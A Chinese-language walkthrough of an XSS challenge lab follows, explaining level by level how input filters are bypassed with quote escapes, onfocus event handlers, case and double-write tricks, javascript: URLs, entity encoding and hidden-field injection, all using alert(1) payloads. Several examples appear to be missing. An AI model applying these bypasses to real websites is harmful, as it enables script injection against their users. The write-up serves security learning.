XSS挑战赛,里面包含了各种XSS的防御方式和绕过方式,好好掌握里面的绕过细节,有助于我们更好的去发现XSS漏洞以及XSS的防御。本文更多的是分享解析的细节,不是一个标准的答案,希望大家在渗透的时候有更多的思维。
第一关总的来说,比较简单,直接先尝试:
直接尝试payload:
查看源码:
想办法去逃逸输入框:
a">
直接尝试:
发现没有弹窗,审核源码:
到这里说明,不能再输入标签了,所以需要转换思路,这个地方标签不行,那我们就尝试事件,这个地方考虑使用onfocus事件:’ οnfοcus='alert(1)
这个单引号就是为了闭合value的单引号。
' οnfοcus='alert(1)
直接尝试:
分析源码:感觉和第三关思路一致
尝试: " οnfοcus="alert(1)
" οnfοcus="alert(1)
直接尝试:
意味着不能输入script标签了,换思路,用事件:" οnfοcus="alert(1)
考虑这个地方有没有可能是个黑名单机制呢?换不常用的事件:
看来过滤的比较讲究,那么我们试试逃逸输入框,用其他标签来试试:
">jack
点击通关:
">jack
直接尝试:
直接尝试:">jack
尝试大小写绕过:">jack
">jack
直接尝试:
双写?alert(1)
尝试:">alert(1)
">alert(1)
直接尝试:
看源码:
那么伪协议?
javascript:alert(1)
这个地方多半对事件也进行了处理,双写就不用试了,因为没有删除关键字
考虑到unicode是支持所有的编码,那么转成这个编码看行不行:
所以直接尝试:
javascript:alert(1)
直接尝试:
需要一个合法链接?
那么输入:javascript:alert(1);//http://www.baidu.com
还是被处理了,那么用和8关相同的编码试试:
javascript:alert(1)//http://www.baidu.com
javascript:alert(1)//http://www.baidu.com
直接尝试:
看来被实体化了。看源码:
尝试着传递这几个隐藏域的值:
构造逃逸:t_sort=a" οnfοcus=“alert(1)”>
继续构造:t_sort=a" οnfοcus=“alert(1)” type="text
&t_sort=a" οnfοcus="alert(1)" type="text